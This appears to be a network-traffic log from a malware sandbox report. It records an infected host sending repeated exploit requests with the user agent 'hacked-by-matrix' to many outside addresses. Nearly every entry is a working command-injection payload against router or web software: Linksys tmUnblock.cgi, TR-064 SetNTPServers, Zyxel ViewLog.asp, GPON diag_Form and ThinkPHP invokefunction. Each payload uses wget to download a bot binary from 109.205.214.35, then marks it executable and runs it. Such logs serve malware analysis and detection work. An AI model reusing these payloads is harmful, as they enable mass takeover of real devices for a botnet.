Mar 21, 2024 05:18:47.919488907 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1297	192.168.2.13	56354	172.65.99.29	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.107690096 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1298	192.168.2.13	42652	172.64.40.245	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.182349920 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:48.693264961 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1299	192.168.2.13	38000	172.65.55.8	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.947189093 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1300	192.168.2.13	41410	71.40.102.85	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.305250883 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1301	192.168.2.13	41434	71.40.102.85	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.458689928 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1302	192.168.2.13	38990	206.238.99.139	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.458905935 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1303	192.168.2.13	37408	220.76.142.77	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.459117889 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1304	192.168.2.13	60776	211.216.173.130	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.459264040 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1305	192.168.2.13	35728	95.217.114.211	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.720031977 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:53.751836061 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:53.941677094 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:18:53 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1306	192.168.2.13	37440	220.76.142.77	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.746325016 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1307	192.168.2.13	60808	211.216.173.130	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.746850967 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1308	192.168.2.13	59094	82.134.218.73	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.960941076 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:50.997438908 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1309	192.168.2.13	46648	42.53.97.142	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.982198954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1310	192.168.2.13	53664	94.170.236.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.982302904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1311	192.168.2.13	56504	212.249.243.26	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.982311964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1312	192.168.2.13	42238	118.101.210.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.982346058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1313	192.168.2.13	58008	79.62.123.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.982348919 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1314	192.168.2.13	43422	118.151.234.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.982384920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1315	192.168.2.13	58626	42.41.43.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.982479095 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1316	192.168.2.13	57770	94.141.70.123	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.982511997 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1317	192.168.2.13	44816	68.171.136.250	80

Timestamp	Bytes transferred	Direction	Data
